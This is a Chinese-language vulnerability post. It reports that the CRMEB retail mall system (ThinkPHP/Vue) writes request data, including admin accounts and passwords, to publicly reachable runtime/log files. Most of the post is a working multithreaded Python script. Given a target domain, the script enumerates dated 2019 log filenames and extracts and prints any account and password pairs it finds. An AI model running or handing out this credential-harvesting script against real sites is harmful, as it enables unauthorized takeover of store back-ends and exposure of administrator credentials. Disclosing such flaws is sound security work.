CRMEB最新版敏感日志泄露

前言

基于ThinkPHP5.0+Vue+EasyWeChat 开发的一套CRMEB新零售商城系统

CRMEB系统就是集客户关系管理+营销电商系统,能够真正帮助企业基于微信公众号、小程序、wap、pc、app等,实现会员管理、数据分析,精准营销的电子商务管理系统。可满足企业新零售、批发、分销、预约、O2O、多店等各种业务需求

正文

CRMEB默认会记录网站数据包并存储到log文件中

并且里面包含了敏感信息(登录账号/密码等)。

这是一个非常危险的行为,因为攻击者可以利用这些日志进入后台控制后台权限。

由于日志的路径为:

runtime\log\2019{month}{day}.log

附上Python脚本来寻找CRMEB管理系统的网站后台密码

代码语言:javascript
复制
import requests,re
from threading import Thread,activeCount
from queue import Queue
import sys
requests.packages.urllib3.disable_warnings()
def send_request(url):
    resp = requests.get(url,verify=False)
    return resp
def year():
    logs = []
    year = ['201907','201906','201905','201904','201903','201902','201901']
    for _ in year:
        for i in range(0,31):
            if i <10:
                i = '0' + str(i)
            logs.append(_+'/'+str(i)+'.log')
    return logs
def check_pass(url):
    resp = send_request(url)
    pattern_pass = re.compile("'pwd' => '(.*?)'",re.S)
    pattern_account = re.compile("'account' => '(.*?)'",re.S)
    result = re.findall(pattern_pass,resp.text)
    if result:
        account = re.findall(pattern_account,resp.text)
        print('pwd found {}:{}'.format(account[0],result[0]))
if __name__ == '__main__':
    domain = sys.argv[1]
    domain = domain + '/runtime/log/'
    #print(domain)
    queue = Queue()
    for i in year():
        queue.put(i)
    while queue.qsize()>0:
        if activeCount()<=10:
            url = '{}{}'.format(domain,queue.get())
            #print(url)
            Thread(target=check_pass,args=(url,)).start()